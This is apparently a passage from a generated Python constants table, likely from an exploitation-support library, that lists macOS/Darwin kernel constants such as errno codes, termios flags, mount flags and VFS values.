Constant('IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT',0)\nIOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME = Constant('IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME',1)\nIOPOL_VFS_TRIGGER_RESOLVE_DEFAULT = Constant('IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT',0)\nIOPOL_VFS_TRIGGER_RESOLVE_OFF = Constant('IOPOL_VFS_TRIGGER_RESOLVE_OFF',1)\nIOPOL_VFS_CONTENT_PROTECTION_DEFAULT = Constant('IOPOL_VFS_CONTENT_PROTECTION_DEFAULT',0)\nIOPOL_VFS_CONTENT_PROTECTION_IGNORE = Constant('IOPOL_VFS_CONTENT_PROTECTION_IGNORE',1)\nIOPOL_VFS_IGNORE_PERMISSIONS_OFF = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_OFF',0)\nIOPOL_VFS_IGNORE_PERMISSIONS_ON = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_ON',1)\nIOPOL_VFS_SKIP_MTIME_UPDATE_OFF = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_OFF',0)\nIOPOL_VFS_SKIP_MTIME_UPDATE_ON = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_ON',1)\nIOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF',0)\nIOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON',1)\nIOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT',0)\nIOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON',1)\nIOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT',0)\nIOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON',1)\nIOCPARM_MASK = Constant('IOCPARM_MASK',0x1fff)\nXATTR_NOFOLLOW = Constant('XATTR_NOFOLLOW',0x0001)\nXATTR_CREATE = Constant('XATTR_CREATE',0x0002)\nXATTR_REPLACE = Constant('XATTR_REPLACE',0x0004)\nXATTR_NOSECURITY = Constant('XATTR_NOSECURITY',0x0008)\nXATTR_NODEFAULT = Constant('XATTR_NODEFAULT',0x0010)\nXATTR_SHOWCOMPRESSION = Constant('XATTR_SHOWCOMPRESSION',0x0020)\nXATTR_NOFOLLOW_ANY = Constant('XATTR_NOFOLLOW_ANY',0x0040)\nXATTR_MAXNAMELEN = Constant('XATTR_MAXNAMELEN',127)\nPR_SLOWHZ = Constant('PR_SLOWHZ',2)\nPRC_IFDOWN = Constant('PRC_IFDOWN',0)\nPRC_ROUTEDEAD = Constant('PRC_ROUTEDEAD',1)\nPRC_IFUP = Constant('PRC_IFUP',2)\nPRC_QUENCH2 = Constant('PRC_QUENCH2',3)\nPRC_QUENCH = Constant('PRC_QUENCH',4)\nPRC_MSGSIZE = Constant('PRC_MSGSIZE',5)\nPRC_HOSTDEAD = Constant('PRC_HOSTDEAD',6)\nPRC_HOSTUNREACH = Constant('PRC_HOSTUNREACH',7)\nPRC_UNREACH_NET = Constant('PRC_UNREACH_NET',8)\nPRC_UNREACH_HOST = Constant('PRC_UNREACH_HOST',9)\nPRC_UNREACH_PROTOCOL = Constant('PRC_UNREACH_PROTOCOL',10)\nPRC_UNREACH_PORT = Constant('PRC_UNREACH_PORT',11)\nPRC_UNREACH_SRCFAIL = Constant('PRC_UNREACH_SRCFAIL',13)\nPRC_REDIRECT_NET = Constant('PRC_REDIRECT_NET',14)\nPRC_REDIRECT_HOST = Constant('PRC_REDIRECT_HOST',15)\nPRC_REDIRECT_TOSNET = Constant('PRC_REDIRECT_TOSNET',16)\nPRC_REDIRECT_TOSHOST = Constant('PRC_REDIRECT_TOSHOST',17)\nPRC_TIMXCEED_INTRANS = Constant('PRC_TIMXCEED_INTRANS',18)\nPRC_TIMXCEED_REASS = Constant('PRC_TIMXCEED_REASS',19)\nPRC_PARAMPROB = Constant('PRC_PARAMPROB',20)\nPRC_UNREACH_ADMIN_PROHIB = Constant('PRC_UNREACH_ADMIN_PROHIB',21)\nPRC_NCMDS = Constant('PRC_NCMDS',22)\nKEV_CTL_SUBCLASS = Constant('KEV_CTL_SUBCLASS',2)\nKEV_CTL_REGISTERED = Constant('KEV_CTL_REGISTERED',1)\nKEV_CTL_DEREGISTERED = Constant('KEV_CTL_DEREGISTERED',2)\nMAX_KCTL_NAME = Constant('MAX_KCTL_NAME',96)\nCTL_FLAG_PRIVILEGED = Constant('CTL_FLAG_PRIVILEGED',0x1)\nCTL_FLAG_REG_ID_UNIT = Constant('CTL_FLAG_REG_ID_UNIT',0x2)\nCTL_FLAG_REG_SOCK_STREAM = Constant('CTL_FLAG_REG_SOCK_STREAM',0x4)\nCTL_DATA_NOWAKEUP = Constant('CTL_DATA_NOWAKEUP',0x1)\nCTL_DATA_EOR = Constant('CTL_DATA_EOR',0x2)\n__has_safe_buffers = Constant('__has_safe_buffers',0)\n__DARWIN_ONLY_64_BIT_INO_T = Constant('__DARWIN_ONLY_64_BIT_INO_T',0)\n__DARWIN_ONLY_UNIX_CONFORMANCE = Constant('__DARWIN_ONLY_UNIX_CONFORMANCE',0)\n__DARWIN_ONLY_VERS_1050 = Constant('__DARWIN_ONLY_VERS_1050',0)\n__STDC_WANT_LIB_EXT1__ = Constant('__STDC_WANT_LIB_EXT1__',1)\n__DARWIN_NO_LONG_LONG = Constant('__DARWIN_NO_LONG_LONG',0)\n_DARWIN_FEATURE_64_BIT_INODE = Constant('_DARWIN_FEATURE_64_BIT_INODE',1)\n_DARWIN_FEATURE_ONLY_64_BIT_INODE = Constant('_DARWIN_FEATURE_ONLY_64_BIT_INODE',1)\n_DARWIN_FEATURE_ONLY_VERS_1050 = Constant('_DARWIN_FEATURE_ONLY_VERS_1050',1)\n_DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE',1)\n_DARWIN_FEATURE_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_UNIX_CONFORMANCE',3)\n__has_ptrcheck = Constant('__has_ptrcheck',0)\nMAXMAXPARTITIONS = Constant('MAXMAXPARTITIONS',22)\nNDDATA = Constant('NDDATA',5)\nNSPARE = Constant('NSPARE',5)\nDTYPE_SMD = Constant('DTYPE_SMD',1)\nDTYPE_MSCP = Constant('DTYPE_MSCP',2)\nDTYPE_DEC = Constant('DTYPE_DEC',3)\nDTYPE_SCSI = Constant('DTYPE_SCSI',4)\nDTYPE_ESDI = Constant('DTYPE_ESDI',5)\nDTYPE_ST506 = Constant('DTYPE_ST506',6)\nDTYPE_HPIB = Constant('DTYPE_HPIB',7)\nDTYPE_HPFL = Constant('DTYPE_HPFL',8)\nDTYPE_FLOPPY = Constant('DTYPE_FLOPPY',10)\nFS_UNUSED = Constant('FS_UNUSED',0)\nFS_SWAP = Constant('FS_SWAP',1)\nFS_V6 = Constant('FS_V6',2)\nFS_V7 = Constant('FS_V7',3)\nFS_SYSV = Constant('FS_SYSV',4)\nFS_V71K = Constant('FS_V71K',5)\nFS_V8 = Constant('FS_V8',6)\nFS_BSDFFS = Constant('FS_BSDFFS',7)\nFS_MSDOS = Constant('FS_MSDOS',8)\nFS_BSDLFS = Constant('FS_BSDLFS',9)\nFS_OTHER = Constant('FS_OTHER',10)\nFS_HPFS = Constant('FS_HPFS',11)\nFS_ISO9660 = Constant('FS_ISO9660',12)\nFS_BOOT = Constant('FS_BOOT',13)\nFS_ADOS = Constant('FS_ADOS',14)\nFS_HFS = Constant('FS_HFS',15)\nD_REMOVABLE = Constant('D_REMOVABLE',0x01)\nD_ECC = Constant('D_ECC',0x02)\nD_BADSECT = Constant('D_BADSECT',0x04)\nD_RAMDISK = Constant('D_RAMDISK',0x08)\nD_CHAIN = Constant('D_CHAIN',0x10)\nD_SSE = Constant('D_SSE',0x1)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEDEADLK = Constant('EDEADLK',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEAGAIN = Constant('EAGAIN',35)\nEINPROGRESS = Constant('EINPROGRESS',36)\nEALREADY = Constant('EALREADY',37)\nENOTSOCK = Constant('ENOTSOCK',38)\nEDESTADDRREQ = Constant('EDESTADDRREQ',39)\nEMSGSIZE = Constant('EMSGSIZE',40)\nEPROTOTYPE = Constant('EPROTOTYPE',41)\nENOPROTOOPT = Constant('ENOPROTOOPT',42)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44)\nENOTSUP = Constant('ENOTSUP',45)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',46)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',47)\nEADDRINUSE = Constant('EADDRINUSE',48)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49)\nENETDOWN = Constant('ENETDOWN',50)\nENETUNREACH = Constant('ENETUNREACH',51)\nENETRESET = Constant('ENETRESET',52)\nECONNABORTED = Constant('ECONNABORTED',53)\nECONNRESET = Constant('ECONNRESET',54)\nENOBUFS = Constant('ENOBUFS',55)\nEISCONN = Constant('EISCONN',56)\nENOTCONN = Constant('ENOTCONN',57)\nESHUTDOWN = Constant('ESHUTDOWN',58)\nETOOMANYREFS = Constant('ETOOMANYREFS',59)\nETIMEDOUT = Constant('ETIMEDOUT',60)\nECONNREFUSED = Constant('ECONNREFUSED',61)\nELOOP = Constant('ELOOP',62)\nENAMETOOLONG = Constant('ENAMETOOLONG',63)\nEHOSTDOWN = Constant('EHOSTDOWN',64)\nEHOSTUNREACH = Constant('EHOSTUNREACH',65)\nENOTEMPTY = Constant('ENOTEMPTY',66)\nEPROCLIM = Constant('EPROCLIM',67)\nEUSERS = Constant('EUSERS',68)\nEDQUOT = Constant('EDQUOT',69)\nESTALE = Constant('ESTALE',70)\nEREMOTE = Constant('EREMOTE',71)\nEBADRPC = Constant('EBADRPC',72)\nERPCMISMATCH = Constant('ERPCMISMATCH',73)\nEPROGUNAVAIL = Constant('EPROGUNAVAIL',74)\nEPROGMISMATCH = Constant('EPROGMISMATCH',75)\nEPROCUNAVAIL = Constant('EPROCUNAVAIL',76)\nENOLCK = Constant('ENOLCK',77)\nENOSYS = Constant('ENOSYS',78)\nEFTYPE = Constant('EFTYPE',79)\nEAUTH = Constant('EAUTH',80)\nENEEDAUTH = Constant('ENEEDAUTH',81)\nEPWROFF = Constant('EPWROFF',82)\nEDEVERR = Constant('EDEVERR',83)\nEOVERFLOW = Constant('EOVERFLOW',84)\nEBADEXEC = Constant('EBADEXEC',85)\nEBADARCH = Constant('EBADARCH',86)\nESHLIBVERS = Constant('ESHLIBVERS',87)\nEBADMACHO = Constant('EBADMACHO',88)\nECANCELED = Constant('ECANCELED',89)\nEIDRM = Constant('EIDRM',90)\nENOMSG = Constant('ENOMSG',91)\nEILSEQ = Constant('EILSEQ',92)\nENOATTR = Constant('ENOATTR',93)\nEBADMSG = Constant('EBADMSG',94)\nEMULTIHOP = Constant('EMULTIHOP',95)\nENODATA = Constant('ENODATA',96)\nENOLINK = Constant('ENOLINK',97)\nENOSR = Constant('ENOSR',98)\nENOSTR = Constant('ENOSTR',99)\nEPROTO = Constant('EPROTO',100)\nETIME = Constant('ETIME',101)\nEOPNOTSUPP = Constant('EOPNOTSUPP',102)\nENOPOLICY = Constant('ENOPOLICY',103)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',104)\nEOWNERDEAD = Constant('EOWNERDEAD',105)\nEQFULL = Constant('EQFULL',106)\nELAST = Constant('ELAST',106)\nVEOF = Constant('VEOF',0)\nVEOL = Constant('VEOL',1)\nVEOL2 = Constant('VEOL2',2)\nVERASE = Constant('VERASE',3)\nVWERASE = Constant('VWERASE',4)\nVKILL = Constant('VKILL',5)\nVREPRINT = Constant('VREPRINT',6)\nVINTR = Constant('VINTR',8)\nVQUIT = Constant('VQUIT',9)\nVSUSP = Constant('VSUSP',10)\nVDSUSP = Constant('VDSUSP',11)\nVSTART = Constant('VSTART',12)\nVSTOP = Constant('VSTOP',13)\nVLNEXT = Constant('VLNEXT',14)\nVDISCARD = Constant('VDISCARD',15)\nVMIN = Constant('VMIN',16)\nVTIME = Constant('VTIME',17)\nVSTATUS = Constant('VSTATUS',18)\nNCCS = Constant('NCCS',20)\nIGNBRK = Constant('IGNBRK',0x00000001)\nBRKINT = Constant('BRKINT',0x00000002)\nIGNPAR = Constant('IGNPAR',0x00000004)\nPARMRK = Constant('PARMRK',0x00000008)\nINPCK = Constant('INPCK',0x00000010)\nISTRIP = Constant('ISTRIP',0x00000020)\nINLCR = Constant('INLCR',0x00000040)\nIGNCR = Constant('IGNCR',0x00000080)\nICRNL = Constant('ICRNL',0x00000100)\nIXON = Constant('IXON',0x00000200)\nIXOFF = Constant('IXOFF',0x00000400)\nIXANY = Constant('IXANY',0x00000800)\nIMAXBEL = Constant('IMAXBEL',0x00002000)\nIUTF8 = Constant('IUTF8',0x00004000)\nOPOST = Constant('OPOST',0x00000001)\nONLCR = Constant('ONLCR',0x00000002)\nOXTABS = Constant('OXTABS',0x00000004)\nONOEOT = Constant('ONOEOT',0x00000008)\nOCRNL = Constant('OCRNL',0x00000010)\nONOCR = Constant('ONOCR',0x00000020)\nONLRET = Constant('ONLRET',0x00000040)\nOFILL = Constant('OFILL',0x00000080)\nNLDLY = Constant('NLDLY',0x00000300)\nTABDLY = Constant('TABDLY',0x00000c04)\nCRDLY = Constant('CRDLY',0x00003000)\nFFDLY = Constant('FFDLY',0x00004000)\nBSDLY = Constant('BSDLY',0x00008000)\nVTDLY = Constant('VTDLY',0x00010000)\nOFDEL = Constant('OFDEL',0x00020000)\nTAB3 = Constant('TAB3',0x00000004)\nVT0 = Constant('VT0',0x00000000)\nVT1 = Constant('VT1',0x00010000)\nCIGNORE = Constant('CIGNORE',0x00000001)\nCSIZE = Constant('CSIZE',0x00000300)\nCS5 = Constant('CS5',0x00000000)\nCS6 = Constant('CS6',0x00000100)\nCS7 = Constant('CS7',0x00000200)\nCS8 = Constant('CS8',0x00000300)\nCSTOPB = Constant('CSTOPB',0x00000400)\nCREAD = Constant('CREAD',0x00000800)\nPARENB = Constant('PARENB',0x00001000)\nPARODD = Constant('PARODD',0x00002000)\nHUPCL = Constant('HUPCL',0x00004000)\nCLOCAL = Constant('CLOCAL',0x00008000)\nCCTS_OFLOW = Constant('CCTS_OFLOW',0x00010000)\nCRTS_IFLOW = Constant('CRTS_IFLOW',0x00020000)\nCDTR_IFLOW = Constant('CDTR_IFLOW',0x00040000)\nCDSR_OFLOW = Constant('CDSR_OFLOW',0x00080000)\nCCAR_OFLOW = Constant('CCAR_OFLOW',0x00100000)\nECHOKE = Constant('ECHOKE',0x00000001)\nECHOE = Constant('ECHOE',0x00000002)\nECHOK = Constant('ECHOK',0x00000004)\nECHONL = Constant('ECHONL',0x00000010)\nECHOPRT = Constant('ECHOPRT',0x00000020)\nECHOCTL = Constant('ECHOCTL',0x00000040)\nISIG = Constant('ISIG',0x00000080)\nICANON = Constant('ICANON',0x00000100)\nALTWERASE = Constant('ALTWERASE',0x00000200)\nIEXTEN = Constant('IEXTEN',0x00000400)\nEXTPROC = Constant('EXTPROC',0x00000800)\nNOKERNINFO = Constant('NOKERNINFO',0x02000000)\nTCSANOW = Constant('TCSANOW',0)\nTCSADRAIN = Constant('TCSADRAIN',1)\nTCSAFLUSH = Constant('TCSAFLUSH',2)\nTCSASOFT = Constant('TCSASOFT',0x10)\nB0 = Constant('B0',0)\nB50 = Constant('B50',50)\nB75 = Constant('B75',75)\nB110 = Constant('B110',110)\nB134 = Constant('B134',134)\nB150 = Constant('B150',150)\nB200 = Constant('B200',200)\nB300 = Constant('B300',300)\nB600 = Constant('B600',600)\nB1200 = Constant('B1200',1200)\nB1800 = Constant('B1800',1800)\nB2400 = Constant('B2400',2400)\nB4800 = Constant('B4800',4800)\nB9600 = Constant('B9600',9600)\nB19200 = Constant('B19200',19200)\nB38400 = Constant('B38400',38400)\nB7200 = Constant('B7200',7200)\nB14400 = Constant('B14400',14400)\nB28800 = Constant('B28800',28800)\nB57600 = Constant('B57600',57600)\nB76800 = Constant('B76800',76800)\nB115200 = Constant('B115200',115200)\nB230400 = Constant('B230400',230400)\nEXTA = Constant('EXTA',19200)\nEXTB = Constant('EXTB',38400)\nRENAME_SECLUDE = Constant('RENAME_SECLUDE',0x00000001)\nRENAME_SWAP = Constant('RENAME_SWAP',0x00000002)\nRENAME_EXCL = Constant('RENAME_EXCL',0x00000004)\nRENAME_RESERVED1 = Constant('RENAME_RESERVED1',0x00000008)\nRENAME_NOFOLLOW_ANY = Constant('RENAME_NOFOLLOW_ANY',0x00000010)\nMFSNAMELEN = Constant('MFSNAMELEN',15)\nMFSTYPENAMELEN = Constant('MFSTYPENAMELEN',16)\nMNAMELEN = Constant('MNAMELEN',90)\nMNT_EXT_ROOT_DATA_VOL = Constant('MNT_EXT_ROOT_DATA_VOL',0x00000001)\nMNT_EXT_FSKIT = Constant('MNT_EXT_FSKIT',0x00000002)\nMNT_RDONLY = Constant('MNT_RDONLY',0x00000001)\nMNT_SYNCHRONOUS = Constant('MNT_SYNCHRONOUS',0x00000002)\nMNT_NOEXEC = Constant('MNT_NOEXEC',0x00000004)\nMNT_NOSUID = Constant('MNT_NOSUID',0x00000008)\nMNT_NODEV = Constant('MNT_NODEV',0x00000010)\nMNT_UNION = Constant('MNT_UNION',0x00000020)\nMNT_ASYNC = Constant('MNT_ASYNC',0x00000040)\nMNT_CPROTECT = Constant('MNT_CPROTECT',0x00000080)\nMNT_EXPORTED = Constant('MNT_EXPORTED',0x00000100)\nMNT_REMOVABLE = Constant('MNT_REMOVABLE',0x00000200)\nMNT_QUARANTINE = Constant('MNT_QUARANTINE',0x00000400)\nMNT_LOCAL = Constant('MNT_LOCAL',0x00001000)\nMNT_QUOTA = Constant('MNT_QUOTA',0x00002000)\nMNT_ROOTFS = Constant('MNT_ROOTFS',0x00004000)\nMNT_DOVOLFS = Constant('MNT_DOVOLFS',0x00008000)\nMNT_DONTBROWSE = Constant('MNT_DONTBROWSE',0x00100000)\nMNT_IGNORE_OWNERSHIP = Constant('MNT_IGNORE_OWNERSHIP',0x00200000)\nMNT_AUTOMOUNTED = Constant('MNT_AUTOMOUNTED',0x00400000)\nMNT_JOURNALED = Constant('MNT_JOURNALED',0x00800000)\nMNT_NOUSERXATTR = Constant('MNT_NOUSERXATTR',0x01000000)\nMNT_DEFWRITE = Constant('MNT_DEFWRITE',0x02000000)\nMNT_MULTILABEL = Constant('MNT_MULTILABEL',0x04000000)\nMNT_NOFOLLOW = Constant('MNT_NOFOLLOW',0x08000000)\nMNT_NOATIME = Constant('MNT_NOATIME',0x10000000)\nMNT_SNAPSHOT = Constant('MNT_SNAPSHOT',0x40000000)\nMNT_STRICTATIME = Constant('MNT_STRICTATIME',0x80000000)\nMNT_UPDATE = Constant('MNT_UPDATE',0x00010000)\nMNT_NOBLOCK = Constant('MNT_NOBLOCK',0x00020000)\nMNT_RELOAD = Constant('MNT_RELOAD',0x00040000)\nMNT_FORCE = Constant('MNT_FORCE',0x00080000)\nVFS_GENERIC = Constant('VFS_GENERIC',0)\nVFS_NUMMNTOPS = Constant('VFS_NUMMNTOPS',1)\nVFS_MAXTYPENUM = Constant('VFS_MAXTYPENUM',1)\nVFS_CONF = Constant('VFS_CONF',2)\nMNT_WAIT = Constant('MNT_WAIT',1)\nMNT_NOWAIT = Constant('MNT_NOWAIT',2)\nMNT_DWAIT = Constant('MNT_DWAIT',4)\nMNT_VOLUME = Constant('MNT_VOLUME',8)\nVFS_CTL_VERS1 = Constant('VFS_CTL_VERS1',0x01)\nVFS_CTL_OSTATFS = Constant('VFS_CTL_OSTATFS',0x00010001)\nVFS_CTL_UMOUNT = Constant('VFS_CTL_UMOUNT',0x00010002)\nVFS_CTL_QUERY = Constant('VFS_CTL_QUERY',0x00010003)\nVFS_CTL_NEWADDR = Constant('VFS_CTL_NEWADDR',0x00010004)\nVFS_CTL_TIMEO = Constant('VFS_CTL_TIMEO',0x00010005)\nVFS_CTL_NOLOCKS = Constant('VFS_CTL_NOLOCKS',0x00010006)\nVFS_CTL_SADDR = Constant('VFS_CTL_SADDR',0x00010007)\nVFS_CTL_DISC = Constant('VFS_CTL_DISC',0x00010008)\nVFS_CTL_SERVERINFO = Constant('VFS_CTL_SERVERINFO',0x00010009)\nVFS_CTL_NSTATUS = Constant('VFS_CTL_NSTATUS',0x0001000A)\nVFS_CTL_STATFS64 = Constant('VFS_CTL_STATFS64',0x0001000B)\nVQ_NOTRESP = Constant('VQ_NOTRESP',0x0001)\nVQ_NEEDAUTH = Constant('VQ_NEEDAUTH',0x0002)\nVQ_LOWDISK = Constant('VQ_LOWDISK',0x0004)\nVQ_MOUNT = Constant('VQ_MOUNT',0x0008)\nVQ_UNMOUNT = Constant('VQ_UNMOUNT',0x0010)\nVQ_DEAD = Constant('VQ_DEAD',0x0020)\nVQ_ASSIST = Constant('VQ_ASSIST',0x0040)\nVQ_NOTRESPLOCK = Constant('VQ_NOTRESPLOCK',0x0080)\nVQ_UPDATE = Constant('VQ_UPDATE',0x0100)\nVQ_VERYLOWDISK = Constant('VQ_VERYLOWDISK',0x0200)\nVQ_SYNCEVENT = Constant('VQ_SYNCEVENT',0x0400)\nVQ_SERVEREVENT = Constant('VQ_SERVEREVENT',0x0800)\nVQ_QUOTA = Constant('VQ_QUOTA',0x1000)\nVQ_NEARLOWDISK = Constant('VQ_NEARLOWDISK',0x2000)\nVQ_DESIRED_DISK = Constant('VQ_DESIRED_DISK',0x4000)\nVQ_FREE_SPACE_CHANGE = Constant('VQ_FREE_SPACE_CHANGE',0x8000)\nVQ_PURGEABLE_SPACE_CHANGE = Constant('VQ_PURGEABLE_SPACE_CHANGE',0x10000)\nVQ_FLAG20000 = Constant('VQ_FLAG20000',0x20000)\nVFS_IOATTR_FLAGS_FUA = Constant('VFS_IOATTR_FLAGS_FUA',0x00000001)\nVFS_IOATTR_FLAGS_UNMAP = Constant('VFS_IOATTR_FLAGS_UNMAP',0x00000002)\nVFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED = Constant('VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED',0x00000010)\nVFS_TBLTHREADSAFE = Constant('VFS_TBLTHREADSAFE',0x0001)\nVFS_TBLFSNODELOCK = Constant('VFS_TBLFSNODELOCK',0x0002)\nVFS_TBLNOTYPENUM = Constant('VFS_TBLNOTYPENUM',0x0008)\nVFS_TBLLOCALVOL = Constant('VFS_TBLLOCALVOL',0x0010)\nVFS_TBL64BITREADY = Constant('VFS_TBL64BITREADY',0x0020)\nVFS_TBLNATIVEXATTR = Constant('VFS_TBLNATIVEXATTR',0x0040)\nVFS_TBLDIRLINKS = Constant('VFS_TBLDIRLINKS',0x0080)\nVFS_TBLUNMOUNT_PREFLIGHT = Constant('VFS_TBLUNMOUNT_PREFLIGHT',0x0100)\nVFS_TBLGENERICMNTARGS = Constant('VFS_TBLGENERICMNTARGS',0x0200)\nVFS_TBLREADDIR_EXTENDED = Constant('VFS_TBLREADDIR_EXTENDED',0x0400)\nVFS_TBLNOMACLABEL = Constant('VFS_TBLNOMACLABEL',0x1000)\nVFS_TBLVNOP_PAGEINV2 = Constant('VFS_TBLVNOP_PAGEINV2',0x2000)\nVFS_TBLVNOP_PAGEOUTV2 = Constant('VFS_TBLVNOP_PAGEOUTV2',0x4000)\nVFS_TBLVNOP_NOUPDATEID_RENAME = Constant('VFS_TBLVNOP_NOUPDATEID_RENAME',0x8000)\nVFS_TBLVNOP_SECLUDE_RENAME = Constant('VFS_TBLVNOP_SECLUDE_RENAME',0x10000)\nVFS_TBLCANMOUNTROOT = Constant('VFS_TBLCANMOUNTROOT',0x20000)\nVFSIOC_MOUNT_BYROLE_has_recovery = Constant('VFSIOC_MOUNT_BYROLE_has_recovery',1)\nVFS_RETURNED = Constant('VFS_RETURNED',0)\nVFS_RETURNED_DONE = Constant('VFS_RETURNED_DONE',1)\nVFS_CLAIMED = Constant('VFS_CLAIMED',2)\nVFS_CLAIMED_DONE = Constant('VFS_CLAIMED_DONE',3)\nVFS_USER_EVENT = Constant('VFS_USER_EVENT',0)\nVFS_KERNEL_EVENT = Constant('VFS_KERNEL_EVENT',1)\nLK_NOWAIT = Constant('LK_NOWAIT',1)\nNFSV4_MAX_FH_SIZE = Constant('NFSV4_MAX_FH_SIZE',128)\nNFSV3_MAX_FH_SIZE = Constant('NFSV3_MAX_FH_SIZE',64)\nNFSV2_MAX_FH_SIZE = Constant('NFSV2_MAX_FH_SIZE',32)\nCRYPTEX_AUTH_STRUCT_VERSION = Constant('CRYPTEX_AUTH_STRUCT_VERSION',2)\nEV_FD = Constant('EV_FD',1)\nEV_RE = Constant('EV_RE',1)\nEV_WR = Constant('EV_WR',2)\nEV_EX = Constant('EV_EX',4)\nEV_RM = Constant('EV_RM',8)\nEV_MASK = Constant('EV_MASK',0xf)\nEV_RBYTES = Constant('EV_RBYTES',0x100)\nEV_WBYTES = Constant('EV_WBYTES',0x200)\nEV_RCLOSED = Constant('EV_RCLOSED',0x400)\nEV_RCONN = Constant('EV_RCONN',0x800)\nEV_WCLOSED = Constant('EV_WCLOSED',0x1000)\nEV_WCONN = Constant('EV_WCONN',0x2000)\nEV_OOB = Constant('EV_OOB',0x4000)\nEV_FIN = Constant('EV_FIN',0x8000)\nEV_RESET = Constant('EV_RESET',0x10000)\nEV_TIMEOUT = Constant('EV_TIMEOUT',0x20000)\nEV_DMASK = Constant('EV_DMASK',0xffffff00)\nKDEBUG_LEVEL_NONE = Constant('KDEBUG_LEVEL_NONE',0)\nKDEBUG_LEVEL_IST = Constant('KDEBUG_LEVEL_IST',1)\nKDEBUG_LEVEL_STANDARD = Constant('KDEBUG_LEVEL_STANDARD',2)\nKDEBUG_LEVEL_FULL = Constant('KDEBUG_LEVEL_FULL',3)\nKDBG_FLAG_FILTERED = Constant('KDBG_FLAG_FILTERED',0x01)\nKDBG_FLAG_NOPROCFILT = Constant('KDBG_FLAG_NOPROCFILT',0x02)\n__DARWIN_LITTLE_ENDIAN = Constant('__DARWIN_LITTLE_ENDIAN',1234)\n__DARWIN_BIG_ENDIAN = Constant('__DARWIN_BIG_ENDIAN',4321)\n__DARWIN_PDP_ENDIAN = Constant('__DARWIN_PDP_ENDIAN',3412)\nUSE_CLANG_TYPES = Constant('USE_CLANG_TYPES',0)\n__DARWIN_NULL = Constant('__DARWIN_NULL',0)\nUBC_PUSHDIRTY = Constant('UBC_PUSHDIRTY',0x01)\nUBC_PUSHALL = Constant('UBC_PUSHALL',0x02)\nUBC_INVALIDATE = Constant('UBC_INVALIDATE',0x04)\nUBC_SYNC = Constant('UBC_SYNC',0x08)\nKAUTH_NTSID_MAX_AUTHORITIES = Constant('KAUTH_NTSID_MAX_AUTHORITIES',16)\nKAUTH_EXTLOOKUP_SUCCESS = Constant('KAUTH_EXTLOOKUP_SUCCESS',0)\nKAUTH_EXTLOOKUP_BADRQ = Constant('KAUTH_EXTLOOKUP_BADRQ',1)\nKAUTH_EXTLOOKUP_FAILURE = Constant('KAUTH_EXTLOOKUP_FAILURE',2)\nKAUTH_EXTLOOKUP_FATAL = Constant('KAUTH_EXTLOOKUP_FATAL',3)\nKAUTH_EXTLOOKUP_INPROG = Constant('KAUTH_EXTLOOKUP_INPROG',100)\nKAUTH_ACE_KINDMASK = Constant('KAUTH_ACE_KINDMASK',0xf)\nKAUTH_ACE_PERMIT = Constant('KAUTH_ACE_PERMIT',1)\nKAUTH_ACE_DENY = Constant('KAUTH_ACE_DENY',2)\nKAUTH_ACE_AUDIT = Constant('KAUTH_ACE_AUDIT',3)\nKAUTH_ACE_ALARM = Constant('KAUTH_ACE_ALARM',4)\nKAUTH_ACL_MAX_ENTRIES = Constant('KAUTH_ACL_MAX_ENTRIES',128)\nKAUTH_FILESEC_MAGIC = Constant('KAUTH_FILESEC_MAGIC',0x012cc16d)\nKAUTH_ENDIAN_HOST = 